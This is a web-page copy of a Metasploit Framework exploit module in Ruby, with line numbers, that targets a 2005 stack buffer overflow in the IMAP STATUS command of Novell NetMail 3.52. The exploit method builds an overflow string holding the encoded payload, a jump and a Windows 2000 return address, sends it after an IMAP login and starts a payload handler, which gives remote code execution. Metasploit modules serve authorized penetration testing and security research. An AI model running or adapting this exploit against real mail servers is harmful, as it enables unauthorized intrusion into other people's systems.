CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/imap/novell_netmail_status.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Imap
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Novell NetMail IMAP STATUS Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP STATUS
16
verb. By sending an overly long string, an attacker can overwrite the
17
buffer and control program execution.
18
},
19
'Author' => [ 'MC' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2005-3314' ],
24
[ 'OSVDB', '20956' ],
25
[ 'BID', '15491' ],
26
],
27
'Privileged' => true,
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' =>
33
{
34
'Space' => 500,
35
'BadChars' => "\x00\x0a\x0d\x20",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],
42
],
43
'DefaultTarget' => 0,
44
'DisclosureDate' => '2005-11-18'))
45
46
end
47
48
def exploit
49
sploit = "a002 STATUS " + rand_text_english(1602) + payload.encoded
50
sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')
51
sploit << [0xe8, -485].pack('CV') + rand_text_english(150) + " inbox"
52
53
info = connect_login
54
55
if (info == true)
56
print_status("Trying target #{target.name}...")
57
sock.put(sploit + "\r\n")
58
else
59
print_status("Not falling through with exploit")
60
end
61
62
handler
63
disconnect
64
end
65
end
66
67